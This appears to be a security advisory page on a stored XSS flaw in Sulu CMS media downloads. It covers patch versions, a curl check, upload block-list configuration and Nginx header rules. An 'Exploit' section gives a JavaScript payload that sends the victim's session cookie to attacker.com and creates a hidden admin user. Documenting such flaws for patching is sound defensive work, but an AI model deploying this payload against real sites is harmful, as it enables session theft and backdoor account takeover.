Listen to this Post
The vulnerability exists in the media download endpoint of Sulu CMS, specifically the routes `/media/{id}/download/{slug}` and its admin counterpart. When the query parameter `?inline=1` is appended, the server responds with the `Content-Disposition: inline` header for any MIME type, overriding the default attachment behavior. This allows scriptable file types like HTML, SVG, or XML to be served directly on the application origin with their stored Content-Type, while no `X-Content-Type-Options` or `Content-Security-Policy` header is sent to restrict execution. An attacker with media upload permissions (e.g., an editor) can upload a malicious HTML file containing JavaScript. By crafting a link that points to the uploaded media with `?inline=1` and enticing a privileged user (e.g., an administrator) to open it, the attacker’s script runs in the context of the Sulu origin, with the victim’s authenticated session. This enables session theft, credential harvesting, and full impersonation of the victim, leading to complete compromise of the backend. The issue affects all installations where untrusted users can upload media, including those with the media add permission. It has been present since the `?inline` override was introduced in 2017, affecting the 2.6 and 3.0 branches. It is distinct from CVE-2024-47617, which was a reflected XSS via the slug parameter and has been fixed. The developers have released patches in versions 2.6.25 and 3.0.8, which force `Content-Disposition: attachment` for MIME types that browsers render as documents (text/html, application/xhtml+xml, text/xml, application/xml) even when `?inline=1` is requested. Safe types like PDF and images remain unaffected. Workarounds include blocking scriptable uploads via configuration, adding security headers at the web server level, serving media from a separate origin, and restricting upload permissions. The advisory also recommends enabling the default SVG sanitizer and reviewing existing media for potential malicious files.
DailyCVE Form:
Platform: Sulu CMS
Version: 2.6/3.0
Vulnerability: Stored XSS
Severity: High
date: 2024-11-15
Prediction: Already patched
What Undercode Say:
Check your current Sulu version
composer show sulu/sulu | grep versions
Verify if you are on a patched version (2.6.25+ or 3.0.8+)
php bin/console –version
Test for vulnerability (example with a dummy file ID)
curl -I "https://your-sulu-instance.com/media/123/download/example.html?inline=1"
Look for Content-Disposition: inline and Content-Type: text/html
Apply workaround via configuration (config/packages/sulu_media.yaml)
sulu_media:
upload:
blocked_file_types:
- text/html
- application/xhtml+xml
- image/svg+xml
- text/xml
- application/xml
- text/javascript
- application/javascript
Add Nginx rules to force attachment and security headers
location ~ ^/(admin/)?media/./download/ {
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'none'; img-src 'self';" always;
if ($arg_inline = 1) {
more_set_headers "Content-Disposition: attachment";
}
}
Exploit: (Educational Purposes!)
<!-- Attacker uploads a file named payload.html with the following content -->
<script>
// Steal session cookie and send to attacker's server
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Also perform actions as the victim, e.g., add admin user
fetch('/admin/api/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: 'hacked', password: 'pwned', roles: ['ROLE_ADMIN'] })
});
</script>
<!-- Then craft a link: https://victim.com/media/123/download/payload.html?inline=1 -->
<!-- Send this link to an administrator; the script runs in their session -->
Protection:
- Upgrade to Sulu 2.6.25 or 3.0.8 immediately.
- If upgrade is not possible, add the blocked file types configuration as shown above (stops new uploads, but review existing media).
- At the web server level, enforce `Content-Disposition: attachment` and add `X-Content-Type-Options: nosniff` and a strict `Content-Security-Policy` on the download paths.
- Serve uploaded media from a separate domain (e.g.,
cdn.example.com) without sharing session cookies. - Restrict the media upload permission to only trusted users and keep the built‑in SVG sanitizer enabled.
Impact:
An authenticated editor (or any user with media upload rights) can execute arbitrary JavaScript in the browser of any user who opens a specially crafted media download link. This includes administrators, leading to full account takeover, session hijacking, credential theft, and arbitrary administrative actions (e.g., creating backdoor users, modifying content, or exfiltrating sensitive data). The flaw undermines the integrity and confidentiality of the entire Sulu installation, as the attacker can impersonate the victim and perform any action the victim is allowed to do.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
